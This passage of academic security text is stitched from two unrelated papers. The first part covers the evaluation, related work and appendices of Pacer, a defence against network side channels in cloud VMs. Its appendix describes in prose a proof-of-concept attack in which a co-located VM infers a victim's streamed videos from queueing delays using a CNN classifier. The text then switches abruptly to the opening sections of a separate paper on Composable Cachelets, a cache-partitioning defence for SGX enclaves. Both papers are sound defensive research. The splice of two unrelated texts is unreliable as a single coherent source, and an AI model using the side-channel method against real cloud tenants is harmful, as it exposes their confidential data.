ing approaches described in the literature. Specifically, CS-
BuFLO [13] and Tamaraw [14] round up each response to
the nearest power of 2 and a multiple of some integer value
(e.g., L = 100 in their paper), respectively. As can be seen
from Table 2, rounding methods may still leave files with
unique sizes in clusters of size 1, rendering the files immedi-
ately identifiable. With Pacer’s clustering, the overheads are
comparable even when generating clusters with more than
2200 files each. We observe similar results with videos. In
fact, the rounding methods of prior work lead to nearly all
the videos in the corpus being in clusters of size 1. Thus,
rounding methods cannot guarantee privacy for all objects in
the corpus, while Pacer’s clustering can be configured based
on desired privacy requirements and bandwidth constraints.

Clustering on larger corpuses. To understand the impact of
padding on larger corpuses, we additionally ran our cluster-
ing algorithm on two wiki corpuses: (i) a 2016 snapshot of
the English Wiktionary corpus (5,027,344 documents, max
521.9KB, median 4.7KB), and (ii) a 2008 snapshot of the En-
glish Wikipedia corpus (14,257,494 documents, max 14.3MB,
median 83.5KB). Note that Wiktionary pages and Wikipedia
pages are not sensitive and may not need protection with a

Technique cmin n1 avg OH max OH
Power of 2 [13] 1 1 0.512 0.999
Multiple of 100 [14] 1 219 0.001 0.002
Pacer (cmin = 1) 1 37 0.009 0.027
Pacer (cmin = 8) 8 0 0.002 0.989
Pacer (cmin = 2206) 2206 0 1.41 5.17

Table 2: Comparison of privacy and overheads in prior work
and Pacer. cmin: size of the smallest cluster; n1: number of
clusters with a single element generated by each technique.
Pacer’s cmin = 1 is similar to [14] with rounding up to MTU.

system like Pacer in practice. All that matters for our evalu-
ation, however, are the file sizes and size distributions. The
content is irrelevant as it is encrypted during transmission
anyway. We present the clustering results in Figure 6.

6.3 Macro experiments

Next, we measure the impact of Pacer’s traffic shaping on the
client response latencies and server throughput in the video
service and medical document service. The client request
payload is only a few bytes and, hence, is padded to one MTU
by the GPace in the client’s kernel. Furthermore, the client
is open loop, i.e., it transmits requests to the server at fixed
intervals independent of the server’s prior responses. With
Pacer support on clients (see §2.1), the shaping of client traffic
will similarly ensure that request timing does not depend on
the completion time of prior requests.

Video service. We wrote a Python streaming client that
simulates a MPEG-DASH player: when a user requests a
video, the client initially fetches six segments (covering 5s
of video each) in succession to fill a local buffer. After reach-
ing 50% of the initial buffer (rebuffering goal), the player
starts consuming the segments from the buffer. The client
fetches subsequent segments whenever space is available in
the buffer. We measure the impact of traffic shaping on (i) the
download latency for individual video segments, (ii) the initial
delay until the video starts playing, and (iii) the frequency and
duration of any pauses (video skipping) experienced by the
player. We use a corpus of videos 1218 videos downloaded
from YouTube in March 2018, which were clustered into 19
clusters with at least 64 elements each, yielding an average
padding overhead of 4x. The client sequentially plays four
randomly chosen videos for up to 5 min each.

We ran experiments for a client with high bandwidth
(10Gbps) and with low bandwidth (10Mbps). The baseline
segment download latency is <1ms on average, while the
exact latency depends on the segment size. With Pacer, the
download latency is dominated by the initial response latency
in each segment’s traffic shape at the video server, which is
30ms and 400ms in the local and 2-tier setup, respectively.
Despite these overheads, there is no noticeable impact on
the user experience for using Pacer for either client in either
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Figure 7: Medical service throughput vs latency

setup. Initial startup delays, i.e., the delay until a video starts
playing, don’t increase significantly, and there is no video
skipping in any of the experiments. When serving 128 high
bandwidth clients in the 2-tier setup, the maximum CPU
utilization on the video server and the KVS increases from
11.76% to 13.39% and 1.96% to 12.62%, respectively, when
Pacer is used. Pacer’s shaping also affords an opportunity to
optimize schedules for performance. We discuss this in our
tech report [49].

Medical service. Next, we measured Pacer’s impact on
the throughput and response latency of the medical server.
We use a corpus of static HTML pages downloaded from
MedicineNet, a medical website [2], in August 2020. We
used 3 clusters with at least 2048 elements each, which yields
an average padding overhead of 142.8%. Modified wrk2 [4]
based clients issue HTTPS GET requests for different pages
concurrently and synchronously for 120s. Prior to the mea-
surement, we ran the workload for 10s to warm up caches.

We selected 1,000 files from the 3 clusters in proportion
65%, 30%, and 5%, and used this as a workload trace. Each
client requests files from the trace in a random order. For
comparison, we also stressed the server with requests only to
the largest file in the corpus (521.9KB). Figure 7 shows the
throughput vs average latency for two insecure baselines and
two schedule configurations of Pacer with varying number of
concurrent client requests (denoted by the data point labels).
The error bars show the standard deviations of the average la-
tencies. Base corresponds to the baseline without any shaping,
Static corresponds to a baseline where the HTML pages are
statically padded but the response traffic is not paced, Pacer
and Pacer-lowlat correspond to Pacer with schedules using
the 99th and 80th %ile initial response latency, respectively.

The performance of Static is nearly the same as Base be-
cause the padding added is low for the trace workload and
zero for the largest file, implying that there is not much dif-
ference in the two workloads. Unlike the baseline, Pacer’s
latency remains constant until the maximal throughput, be-
cause latency is determined only by the transmission schedule.
Once the server is at capacity, it fails to serve additional re-
quests and clients time out. With Pacer-lowlat a few requests
(e.g., less than 50 out of 85K) time out even at lower loads.
This is because Pacer-lowlat uses an aggressive schedule that

does not account for the server’s response latencies beyond
the 80th %ile. We ignore these timeouts in the average latency
and throughput measurements.

In the trace workload, Pacer incurs a 14.4% overhead on
peak throughput with response latencies 10x-18x of the base-
line. The figures reflect Pacer’s total overhead, because they
compare to a saturated baseline server. By comparison, Pacer-
lowlat incurs a ~30% overhead on peak throughput with laten-
cies 3x-5x of the baseline. Here, the throughput drops as the
requests that are delayed beyond the 80th percentile latency
time out. Similar trends are also observed with the large file.
This shows that latencies could be optimized with moderate
additional overheads on response throughput.

The overheads on peak throughput are higher with the large
file. Here, the baseline operates at over 40% of the line rate,
and we believe that Pacer’s performance in this challenging
experiment is limited by the accuracy of transmit schedules,
which can be improved substantially.

Pacer’s costs are in bandwidth, CPUs, and memory. The
bandwidth overhead (§6.2) depends on the application’s data,
workloads and the public inputs chosen for workload parti-
tioning. The bandwidth overhead due to Pacer’s clustering
is comparable to that of prior work while offering stronger
privacy. The CPU cost is in the two cores dedicated to HyPace
(§6.1), and the increase in the guest CPU utilization due to
shaping (§6.3). Pacer requires less than 20MB of additional
main memory in the Xen hypervisor and less than 30MB of
additional memory per HyPace core in each guest that uses
Pacer. Cloud providers would likely charge their tenants for
the added cost of NSC mitigation. In the case of a service
like MedWeb, the tenants (health insurer or provider) would
likely cover the cost from their own customers’ premiums or
subscriptions.

6.4 Security evaluation
To validate our prototype implementation, we empirically
evaluated the security of Pacer’s implementation using a pow-
erful NSC attack. We streamed 4 videos from a single video
cluster 40 times each, and collected the precise timestamps
and sizes of packets transmitted in both directions using tcp-
dump at the video client. Thus, we grant the attacker direct ac-
cess to the victim’s traffic shape, which makes the attack more
powerful than one launched by a colocated tenant. (However,
as described in §A, the attack is effective even when launched
by a colocated tenant when Pacer is not used.)

For Pacer, we trained a multi-feature CNN classifier us-
ing timeseries labeled with the video id and comprising of
inter-packet intervals and sizes of packets in both directions
between client and the server as the features. For the baseline,
we trained the same classifier with just a single feature—the
timeseries of inter-packet intervals in server’s response pack-
ets. The classifier architecture is similar to that used by Schus-
ter et al. [59, §7.2], except we used a dropout of 0.1 between
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the model’s hidden layers and 64 epochs for training.
During classification, the classifier generates the probability

of each label value for a given sample. In the baseline, the
classification probability is more than 99% for each label. In
Pacer, it is close to 25%, i.e., the classifier’s prediction of a
video’s label is no better than a random guess. We repeated
the experiment with other video clusters and obtained similar
results. Thus, we confirm empirically that, as expected, Pacer
eliminates leaks through timing, sizes, and count of packets.

7 Related work

We compare to existing mitigation techniques and discuss
related work with different threat models or goals.

(a) Mitigating NSCs in Clouds. Contention on individual
shared links in a Cloud can be mitigated by time-division
multiple access (TDMA) in a hypervisor [8, 34] as this elimi-
nates the adversary VM’s (and, in fact, every VM’s) ability to
observe a colocated victim’s traffic at that link. However, an
end-to-end mitigation against all network adversaries would
require synchronous TDMA scheduling along the entire path
of a tenant’s traffic, which is inefficient especially when the
payload traffic is bursty [69]. Statistical multiplexing, which
only caps the total amount of data transmitted by a VM in an
epoch, is insecure because the resources available to a flow
depend on the bandwidth utilization of other flows [27].

Another approach restricts the adversary VM’s ability to ob-
serve time [44,48,68]. StopWatch [41] replaces a VM’s clock
with virtual time based only on that VM’s execution. To miti-
gate NSCs, each VM is replicated 3×, the replicas are colo-
cated with different guests, and each interrupt is delivered at
a virtual time that is the median of the 3 times. This prevents
a guest from consistently observing I/O interference with any
colocated tenant. However, it requires a 3× increase in de-
ployed Cloud resources. Deterland [77] also replaces VMs’
real time with virtual time, but it does not address leaks due
to NSCs as it delivers I/O events to VMs without delay. In
contrast, Pacer shapes traffic by padding and pacing packets,
which mitigates all NSCs with far less resource overhead.

Bilal et al. [9] generate multicast traffic to shape the pattern
of queries to different backend nodes in multi-tier stream-
processing applications in a Cloud, but they do not consider
leaks due to packet size and timing.

(b) Traffic shaping to mitigate NSCs. Pacer uses a stan-
dard technique [29, 74] to remove the dependence of packet
size on secrets: it pads all packets to a fixed length. To make
packet timing independent of secrets, a strawman is to send
packets continuously at a fixed rate independent of the actual
workload, inserting dummy packets when no actual packets
exist [58, 63]. This either wastes bandwidth or incurs high
latencies when the workload is bursty. BuFLO [21] reduces
this overhead by shaping response traffic to evenly-spaced
bursts of a fixed number of packets for a certain minimum

amount of time after a request starts. However, it leaks the
size of responses that take longer than the minimum time.
Tamaraw [14], CS-BuFLO [13], and DynaFlow [46] pad each
response to some factor of the original size, such as the near-
est power of 2. They offer no control over how many objects
end up with the same traffic shape. In contrast, Pacer supports
flexible traffic shape adaptation without leaking secrets. More-
over, as shown in §6.2, the bandwidth overhead of Pacer’s
clustering is comparable to CS-BuFLO’s and Tamaraw’s.

Walkie-Talkie [72], Supersequence [71], and Glove [51]
cluster responses, and generate a traffic shape for the cluster
that envelopes each response in the cluster. They cluster by
simultaneously considering both packet sizes and timing from
runtime network traces, and compute the shape based on the
traces used in the clusters. Pacer instead first clusters based
on static object sizes, and then computes traffic shapes for
each cluster based on network traces of cluster objects. Pacer
can also support clustering and shaping algorithms proposed
by these systems. Traffic morphing [75] makes sensitive re-
sponses look like non-sensitive responses, but only shapes
packet sizes and ignores packet timing. Pacer shapes all packet
size and timing, and allows precise control over cluster sizes,
thus eliminating all leaks by design.
(c) Predictive mitigation. Predictive mitigation [7, 81] miti-
gates network timing side-channel and covert channel leaks
to an adversary who has compromised or authenticated as a
legitimate client of the victim. Here, the adversary can dis-
tinguish real packets from dummies, so predictive mitigation
cannot avoid a leak when the application fails to produce a
packet in time for a scheduled transmission. In Pacer, the
threat is from an adversary that only observes network traffic
but does not communicate with the victim. Hence, Pacer can
hide application delays by sending dummy packets. Both pre-
dictive mitigation and Pacer partition application workloads
based on public inputs and precompute a traffic shape for
each partition. However, a bad shape leaks information in
predictive mitigation, but only affects performance in Pacer.
(d) Related work with other security goals. Herd [40], Vu-
vuzela [66], Karaoke [38], and Yodel [39] provide metadata
privacy: they prevent information about who is communi-
cating with whom from leaking via NSCs. Pacer’s goal is
different: it prevents sensitive data from leaking via NSC. To
address its goal, in addition to shaping individual packet sizes
and timing, Pacer shapes the lengths of application messages.
Herd [40] and Yodel [39] focus on VoIP calls. Pacer can also
be used to shape VoIP traffic. For instance, uniform pacing
can be used for a maximum duration, which is picked before
the call from a set of allowed durations. Only this maximum
duration, but not the actual duration, will be leaked.

Format-Transforming Encryption (FTE) [22] and Scram-
bleSuit [73] use a tunnel abstraction to modify payload traffic
to bypass a traffic censor’s filters. However, unlike Pacer, they
do not decorrelate the observable traffic shape from secrets.
SkypeMorph [50] circumvents censors that inspect packet
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sizes and timing. It samples the inter-packet gap and the
packet size from a fixed distribution, which mimics the distri-
bution of some target protocol that the censor allows. Skype-
Morph shapes traffic, but unlike Pacer it is not designed to en-
sure that the resulting shape does not reveal secret-dependent
variations. Moreover, SkypeMorph transmits traffic continu-
ously at the average transmission rate of the target protocol,
which is inefficient for bursty traffic.

Oblivious computing systems [19, 23, 45] prevent leaks
via the memory addresses and database keys accessed during
a computation, for which they rely on ORAM techniques.
Pacer addresses the orthogonal problem of making packet
size and timing independent of secrets, and relies on traffic
shaping. Fletcher et al. [24] address timing leaks in ORAM
accesses by pacing ORAM accesses. However, their pacing
rate changes periodically based on the past actual request
rate of the program, which may be secret-dependent and leak
information.

(e) Other work. Some prior work [18, 52, 55] use
performance-isolation techniques for performance predictabil-
ity; Silo [33] implements traffic pacing to improve remote
access latency; and MITTS [82] “shapes” memory traffic
on CPU cores for performance and fairness. The goals and
approaches are different from Pacer’s. Richter et al. [56] pro-
pose to performance-isolate colocated tenants by modifying
the NIC firmware. Pacer’s traffic shaping can be implemented
in a smart NIC as well (§4.1).

8 Conclusions

Pacer is a comprehensive, provably-secure mitigation for NSC
leaks in IaaS Clouds. It reshapes network traffic outside guest
VMs to make packet timing and packet sizes independent
of guest secrets. Pacer integrates with the host hypervisor to
thwart attacks from colocated tenants, relies on paravirtualiza-
tion to respect network flow control, congestion control, and
loss recovery, and uses performance isolation and masking to
nullify the effects of internal timing channels within the host.
Pacer’s end-to-end overheads are moderate.
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A Network Side-Channel Attack

Here, we briefly describe a proof-of-concept NSC attack. To
carry out such an attack, an adversary must be able to ob-
serve a victim’s network traffic. An adversary with access to
network elements like links, switches, or routers can observe
the traffic directly. An adversary without direct access can
still observe victim traffic indirectly if they can control attack
traffic that shares bandwidth with the victim’s traffic.

Indirect observation is impossible if each network flow has
exclusively reserved bandwidth, as in time-division multiple
access (TDMA), which ensures non-interference among flows.
However, this approach prevents statistical multiplexing and
is very inefficient for bursty traffic. On the other hand, when
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bandwidth is shared, then regardless of the queuing discipline,
available bandwidth and queuing delays observed by one flow
are influenced by concurrent flows. We demonstrate a simple
attack where an adversary exploits the signals in the queueing
delays for its own traffic to infer the victim’s traffic shape.

Experimental setup. We set up two VMs, a victim and an
attack VM, on two separate sockets of a Dell PowerEdge R730
server machine (S1). The VMs use Xen’s virtualized network
stack; thus all traffic is routed through the netback driver and
the TCP stack in dom0 of the hypervisor. We configure S1’s
shared NIC with a bandwidth of 1Gbps, and the hierarchical
token bucket (HTB) queueing discipline. We further create
two separate HTB traffic classes for (i) the attack traffic, and
(ii) the victim traffic and rest of the traffic through the host.
We configure the attack traffic to have a lower priority than all
other traffic. This is a reasonable assumption as an attacker
can always lower the priority for its traffic.

The victim hosts a custom video streaming service on top of
Apache, which serves video segment files in response to client
requests. A custom video client runs on a second server (S2)
and requests the video segments sequentially over HTTPS.
The attack VM runs a UDP client that sends short payloads
(56 bytes) to a UDP server on a third machine (S3), which
logs the packet arrival timestamps and echoes the packets
back to the attack client. S2 and S3 have 10Gbps NICs and
all machines are connected with a 10Gbps switch; thus the
bottleneck link is the shared NIC at S1. The attack client
maintains a send window of 4500 packets (computed based
on the bandwidth-delay product for the NIC), which ensures
that some attack packets are always queued at the bottleneck
link without overflowing the queue.

We streamed 10 videos at 720p resolution from a YouTube
dataset (a detailed description of the dataset is given in §6.2)
for up to 30 segments. Segments take less than 0.02s to down-
load, and segments within a video are requested at an interval
of 5s. We streamed each video 150 times. During each video
stream, we log the series of arrival timestamps of the adver-
sarial client’s packets at the adversarial server. We label each
time series of the adversary’s packet arrival timestamps with
the id of the video streamed by the victim. Thus, we have 1500
time series of adversary’s packet arrival timestamps with 10
distinct labels.

Analysis. We aggregated each time series into windows
of 50ms, and generated a time series of the adversary’s trans-
mitted packet count in each window. The packet count is the
number of packet arrival timestamps recorded in each time
window. Finally, we normalized each packet count time series
using min-max normalization.

Next, we implemented a CNN classifier to train on the time
series of normalized packet counts. Figure 8 shows the archi-
tecture of our classifier, which consists of three convolution
layers, a max pooling layer, and two dense layers. We use
a dropout of 0.2 between each pair of hidden layers of the
classifier as shown in the figure. We train the classifier with an

Input:
k x n

32 x k x (n-15)
ReLU

Conv
1 x 16

32 x k x (n-30)
ReLU

Conv
1 x 16 32 x k x (n-45)

ReLU
Dropout 0.2

Conv
1 x 16

32 x k x (n-45)/6
ReLU

Dropout 0.2

Max
Pooling

1 x 6

64
ReLU

Dropout 0.2

Dense Output:
# classes
softmax

Dense

Figure 8: CNN architecture. k: the number of features used. n:
the number of elements of one time series, which is the total
time of the time series divided by the window size (50ms).

Adam optimizer [35], categorical cross-entropy error function,
and with input batches of 64 samples. Our CNN classifier is
similar to the one built by Schuster et al. [59, section 7.2],
with the difference that we used a dropout of 0.2 between the
model’s hidden layers and 64 epochs for training.

We implemented the classifier using the Tensorflow 2 API
with the Keras frontend. We used 70% of the time series
data for each label (video) for training and the remaining
for evaluating the classifier. The classifier achieves an overall
precision and recall of 81.8% each, and an accuracy of 96.4%.

Additional attack setups. We performed a similar, but sim-
pler attack on two additional setups: (i) with the host, S1’s
NIC configured in SR-IOV, exposing vNICs to the victim and
attacker VMs, and (ii) in a commercial IaaS Cloud provider
platform. In both cases, we were able to show that victim
transfers of large files generate a large signal on an attacker’s
cross-traffic that is visible in a timeseries plot even to the
naked eye. These attacks are not surprising, since any queue-
ing policy that allows a tenant to use network bandwidth not
currently used by other tenants that share a link permits NSCs.

Our experiment confirms prior work [6, 11, 12, 29, 53, 59,
63, 70, 74] and shows that a network side-channel attack can
identify videos in a collection with good accuracy. While
an attack in a production environment faces additional chal-
lenges like achieving colocation with the victim, prior work
has shown that it is possible to attain colocation [30, 31, 57].
Hence, cloud tenants that require strong confidentiality have
to consider NSCs a realistic threat.

B Security of masking mechanisms

Recall from §4.1 that Pacer relies on four parameters whose
values are empirically determined: the epoch length, the
packet transmission batch size, HyPace’s interrupt handler
masking delay (δxmit ), and GPace’s inbound packet- and timer-
processing masking delay (δdelay). Of these, only the last
two parameters are security-relevant. In this section, we dis-
cuss experiments to demonstrate that (i) masking is necessary
(without it, the actual runtime of the handler tasks are observ-
able, which could be correlated with guest secrets), and (ii)
our empirically computed thresholds are effective at masking
these timing leaks. We do this by analyzing Pacer’s handlers
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Figure 9: HyPace delays and batch size without masking.
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Figure 10: HyPace delays after applying masking.

under two extreme configurations: no background workload
(nobg) and with heavy background load (bg).

To demonstrate that masking is necessary, we measure if
there is any difference in HyPace execution due to background
load in the absence of masking. Figure 9 top and bottom plots
respectively show the distributions of delays in HyPace’s door-
bell writes (from the time of the scheduled interrupt handler)
and the number of packets that can be prepared within an
120µs epoch in the two configurations. Both the distributions
are based on 24-hour experiments, with about 550 million
epochs involving some packet transmissions. First of all, in
the absence of masking, the exact HyPace delay and batch
size of every single epoch is observable. Each pair of delay
and batch size may be correlated with specific secrets; thus
the observations could leak these secrets. Additionally, the
distributions of delays and batch sizes are influenced by the
background workload. As the figure shows, the maximum
HyPace delay observed (top plot) is 65µs and 44µs in bg and
nobg configurations, respectively, and the maximum batch
size (bottom plot) is 66 and 65 packets, respectively. These
observations show that the adversary can potentially affect
HyPace timing in the absence of masking to induce leaks.
Hence, masking these delays is essential for security.

Next, we repeat the experiment with masking enabled. Fig-
ure 10 shows the observed delays of HyPace’s doorbell writes
when masking with δxmit set to 35µs. As can be seen, all
handler execution times were masked in these experiments.

For full disclosure, in earlier unrelated experiments, we had
observed a small number of epochs (e.g., less than 20 out of
550 million) where HyPace’s delays exceeded δxmit by up to
5µs. Such overruns, if they occurred in practice, would be
mitigated quickly by the automatic adjustment of δxmit (§4.1).

To summarize, masking is necessary and effective. In the
unlikely case of HyPace delays exceeding our δxmit of 35µs,
the adversary would be able to observe execution times that
may be correlated with victim secrets. However, Pacer’s auto-
matic adjustment of δxmit denies the adversary an opportunity

to repeat an observation. Combined with the adversary’s chal-
lenge to induce increasing delays in the execution of the
privileged handlers, it seems impossible for an adversary to
cause a sufficient number of repeated overruns necessary to
infer a victim’s secrets.

Our empirical observations and security arguments for
δdelay are similar to the above, and we omit those details.

C Workload clustering heuristics

Consider a guest that serves a corpus of objects with a skewed
size distribution. Using a single schedule for the entire corpus
requires padding every object to the largest one in the corpus,
incurring a large overhead. Suppose now the guest can par-
tition the corpus such that each partition contains objects of
similar size, but revealing the partition of a requested object is
not a secret as would be the case when each partition contains
a sufficient large number of objects. Now, each object can be
padded to the largest object in its cluster, which may reduce
overhead significantly without revealing which object within
a partition is being requested.

We describe heuristic clustering algorithms for videos and
static HTML documents that minimize overhead subject to a
given privacy need, which is defined in terms of the minimum
number of objects in any cluster.
Video clustering. We cluster videos according to the se-
quence and sizes of their 5s segments using the following
algorithm. Note that dynamically compressed segments dif-
fer in size. Initially, we over-approximate the shape of each
video vi by its maximal segment size smaxi and its number of
segments li. For each distinct video length l and each distinct
maximal segment size s in the entire dataset, we compute
the set of videos that are dominated by 〈l,s〉. A video vi is
dominated by 〈l,s〉 if li ≤ l and smaxi ≤ s.

Let c be a desired minimum cluster size. Our algorithm
works in rounds. In each round, we select every 〈l,s〉 dom-
inating at least c videos, and we choose as a cluster the set
of videos minimizing the average relative padding overhead
per video, i.e., 1

ci
∑

ci
j=1 ∑

li
k=1

(
(sk−sk j)

sk j

)
, where ci is the cardi-

nality of the set of videos, li is the maximal length across all
videos in the set and sk is the maximal size of the kth seg-
ment across all videos in the set (i.e., max1≤ j≤ci(sk j)). The
sequence of segment sizes 〈s1,s2, ...,sli〉 is the ceiling of the
cluster ci. Once a cluster is formed, its videos are ignored
for later rounds. If the last cluster has less than c videos, it is
merged with the one before it.
Document clustering. Unlike videos, HTML documents
contain a single data object. Therefore the algorithm clusters
based on the single size parameter of documents, and the
largest document in a cluster constitutes the cluster’s ceiling.

More sophisticated clustering algorithms that account for
distinct per-object privacy requirements (popularity) and over-
all privacy requirements are left to future work.
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Abstract
The security of isolated execution architectures such as Intel
SGX has been significantly threatened by the recent emer-
gence of side-channel attacks. Cache side-channel attacks
allow adversaries to leak secrets stored inside isolated en-
claves without having direct access to the enclave memory.
In some cases, secrets can be leaked even without having the
knowledge of the victim application code or having OS-level
privileges. We propose the concept of Composable Cachelets
(CC), a new scalable strategy to dynamically partition the
last-level cache (LLC) for completely isolating enclaves from
other applications and from each other. CC supports enclave
isolation in caches with the capability to dynamically readjust
the cache capacity as enclaves are created and destroyed. We
present a cache-aware and enclave-aware operational seman-
tics to help rigorously establish security properties of CC, and
we experimentally demonstrate that CC thwarts side-channel
attacks on caches with modest performance and complexity
impact.

1 Introduction
Isolated execution architectures have received significant trac-
tion in the industry, with Intel Software Guard Extension
(SGX) [1, 29, 42] being the most prominent example. Iso-
lated execution relies on dedicated hardware to protect sen-
sitive parts of application code and memory within secure
enclaves that are inaccessible to all outside programs, in-
cluding operating systems and hypervisors. Unlike classical
memory protections enforced by system software, isolated
execution relies exclusively on trusted hardware to enforce
enclave boundaries, ensuring confidentiality and integrity of
sensitive information even if system software is compro-
mised. Despite these benefits, recent research demonstrated
powerful cache side-channel attacks that bypass isolated ex-
ecution [10, 17, 23, 36, 44, 56, 57, 70]. These attacks exploit
the fact that enclaves, like other processes, share cache lines
with potential attackers, who can observe timing differences
caused by collisions of their own accesses with those of a

∗Work primarily performed while this author was a doctoral candidate at
Binghamton University.

Figure 1: Overview of Partitioning in CC

victim. Moreover, the threat model under isolated execution
greatly amplifies the power of these attacks, as an attacker can
leverage a compromised OS to achieve greater control over
side-channel measurements [10, 43, 44, 54, 58]. As trusted
computing infrastructure relying on SGX and similar tech-
nologies continues to be rapidly developed and deployed [56],
it is critical to consider system designs that make enclaves
immune to cache side-channel attacks.

Existing cache partitioning schemes [21, 30] successfully
thwart some side-channel attacks, but face limitations that
make them incompatible with SGX and other isolated ex-
ecution proposals. Partitioned caches eliminate cache line
collisions by assigning each process (or security domain) a
disjoint subset of cache lines. Some of partitioning designs,
however, rely on system software to enforce critical protec-
tions [33–35, 39, 53, 71, 75], and therefore do not work with
isolated execution security models where the system software
is not trusted. While some recent designs implement partition-
ing in hardware alone, they often require allocating one or
more cache ways to each partition [21]. Enclaves, which typi-
cally protect small sections of critical data and instructions,
will greatly underutilize these coarse-grained partitions, ex-
cessively degrading performance of non-enclave code. More-
over, the number of enclaves can rapidly exceed the number
of ways available in a typical last level cache (LLC), mak-
ing coarse-grained partitioning impractical, particularly in
multi-tenant cloud settings where enclaves are most likely to
be deployed. These limitations necessitate the development
of new architectures to provide enclaves with efficient and
scalable partitioning, without relying on system software to
enforce isolation.

Another key insight that motivates our work is that there
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remains an “impedance mismatch” between software need
and hardware support. Whereas the data protection need from
the application is often fine-grained and dynamically evolves,
caches as the epicenter of side channel attacks are often mono-
lithic in the eyes of attackers, and existing partitioning-based
solutions are too rigid in breaking down this monolithic view.
With security as a cross-layer concern, we believe the best
solution is to streamline the hardware-software stack: can we
endow caches with the fine granularity and dynamism that
the application calls for?

To address these challenges, we propose Composable
Cachelets (CC), a novel cache design that provides fine-
grained, flexible cache partitioning without trusting system
software to enforce isolation. CC partitions set-associative
caches at the granularity of cachelets—fine-grained, hardware-
defined cache regions that span continuous ranges of sets
across one or a few cache ways (Figure 1). To support en-
claves with varying memory demands, CC can either assign a
single cachelet to an enclave (as is the case for enclaves 2 and
3 in Figure 1), or chain cachelets together into larger virtual
partitions (such as the one allocated to enclave 1). Inspired
by classic memory paging designs, CC can compose virtual
partitions from arbitrary, non-sequential cachelets. This ap-
proach allows CC to efficiently use available cache lines as
enclaves of various sizes are created and destroyed.

In addition to architectural design, we also provide a for-
mal foundation to study program behavior in the presence of
caches as side channels, and CC as the defense against side
channel attacks. Through a novel cache-aware and enclave-
aware operational semantics, we account for enclave program
behavior in realistic scenarios where enclaves may be dy-
namically managed (created, entered, exited, and destroyed),
cachelets may be dynamically managed (allocated, accessed,
and deallocated), and the attacker may observe different types
of cache events (e.g., hit, miss, resize). As a whole, this formal
foundation serves as a rigorous proof of the security guaran-
tees enjoyed by CC.

In summary, this paper makes the following contributions:

• We describe Composable Cachelets - a novel, fine-
grained, and scalable cache design that efficiently pro-
tects application secrets from side-channel attacks (Sec-
tion 3).

• We present a cache-aware and enclave-aware operational
semantics to rigorously define the behavior of enclave
programs, and establish CC’s security properties (Sec-
tion 4).

• We evaluate the performance impact of CC on a vari-
ety of applications, including smaller cryptographic pro-
grams, as well as larger benchmarks such as SPEC and
PARSEC. We also evaluate delay, the area and power im-
pacts of our design. Our results demonstrate that strong

Figure 2: CC Overview

security properties of CC can be achieved with modest
overhead.

2 Threat Model
CC adopts the threat model of Intel SGX, which assumes a
powerful adversary that can engage the resources of a com-
promised OS and/or hypervisor to launch an attack against
an enclave. Established SGX protections are assumed to be
fully implemented in CC. These protections prevent attackers
from directly accessing enclave memory and from extracting
information through physical attacks on DRAM and intercon-
nect. However, an attacker can attempt Prime+Probe against
caches shared with a victim [32, 40]. Such attacks can be car-
ried out by any number of colluding user and/or kernel threads.
The attacker is also capable of initializing an arbitrary number
of its own enclaves, and we conservatively assume mutual
distrust among all enclaves, including those belonging to the
same process. While the operating system mediates high-level
events in the enclave’s life cycle, such as enclave creation and
destruction, entries and exits to enclave code, and enclave
page faults, SGX hardware ensures that these operations are
performed without exposing or altering the enclave’s internal
data.

While we do not directly address denial-of-service attacks
by malicious enclaves, we limit the LLC space that can be
allocated to enclaves. A malicious enclave can also attempt to
take over the entire cachelet space, causing performance loss
for other enclaves. To prevent this attack, additional quality-
of-service mechanisms can be put in place even within the
enclave partition.

3 Composable Cachelets
Figure 2 describes the high-level design and operation of
CC. To track the allocation of cachelets to various enclaves,
CC assigns each physical cachelet a unique cachelet identifier
comprised of the cachelet’s set and way offsets within the
cache. CC stores the identifier of each unallocated cachelet as
an entry in a global cachelet free list (CFL), a FIFO-like struc-
ture analogous to the free list in register renaming schemes.
When an enclave is created, CC pops one or more entries
from the CFL, and adds them to a hardware virtual partition
table (VPT), which holds a cachelet identifier entry for each
cachelet allocated to the running enclave (a). CC intercepts
memory accesses from enclaves and remaps them to cachelets
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defined in the enclave’s VPT. The remapping logic masks the
address so that it indexes to a cachelet set (b), and provides
the slightly modified replacement logic with a way index to
ensure that only the cachelet’s ways are evicted on a miss (c).
When the enclave is destroyed, CC gang-invalidates the en-
clave’s cachelets and returns VPT entries to the CFL. CC also
extends the enclave metadata, which is protected by isolated
execution, to store each enclave’s VPT data during context
switches.

CC allows non-enclave programs to freely access any
cache line that is not contained in a cachelet. The modified
replacement logic prevents non-enclave accesses from evict-
ing lines in any allocated cachelet (d). CC reserves several
ways for non-enclave accesses, ensuring that cache lines are
available for non-enclave programs in every cache set.

3.1 Cachelet Addressing and Allocation

In this section, we describe details of cachelet addressing
and allocation logic, and also provide an example of cachelet
operation.

3.1.1 Address Remapping for Enclaves

Figure 3 shows how CC transparently remaps enclave mem-
ory accesses across multiple, non-consecutive cachelets. In
conventional caching, addresses are mapped to a cache set
using set index bits extracted from the address (Figure 3).
CC uses the high-order bits of the set index to select an en-
try from the VPT. For example, for a set index in the range
of 0000-0011, CC uses the high order bits 00 to select the
first VPT entry in a four-entry VPT. CC uses the selected
VPT entry to remap the original address to a line in a spe-
cific cachelet. The VPT entry specifies a cachelet with two
fields: a set offset and a way offset. To remap the memory
access to a set within this cachelet, CC overwrites a portion
of the original address’ set index with the cachelet set offset,
as shown in Figure 4. Whereas the original set index may
have mapped to any cache set (Figure 4-a), fixing the high
order bits limits the mapping range to sets in the cachelet
(Figure 4-b). For example, to force all addresses to access sets
1000-1011, CC pins the high-order set index bits to 10.

If the number of sets in all enclaves assigned to cachelets
is smaller than the total number of cache sets, CC will remap
addresses with different set indexes to the same set within

Figure 3: Enclave Set Remapping for CC

Figure 4: CC strategy to remap memory accesses to cachelet
sets

an enclave. To disambiguate these references, CC adds the
overwritten index bits to the tag bits used to distinguish ad-
dresses that map to the same cache line. For instance, the
four-cachelet way shown would require two additional tag
bits. Only cache ways designated for use by cachelets need
these additional bits.

To map enclave addresses to cachelet ways, CC adapts
mechanisms from previous, coarse-grained partitioning pro-
posals. Specifically, lightweight hardware described in [35]
masks the bit vector used by the cache replacement logic,
limiting evictions to a designated range of ways. To generate
masking bits for a given cachelet, CC extends the addressing
bus to include the way offset bits retrieved from VPT. Simple
hardware similar to a decoder converts these bits to the way
mask used for the enclave access if a cache miss occurs. Logic
described in [35] also prevents cachelet accesses from updat-
ing replacement bits for ways outside the cachelet boundaries,
eliminating a potential replacement-logic side-channel.

3.1.2 Cachelet Allocation

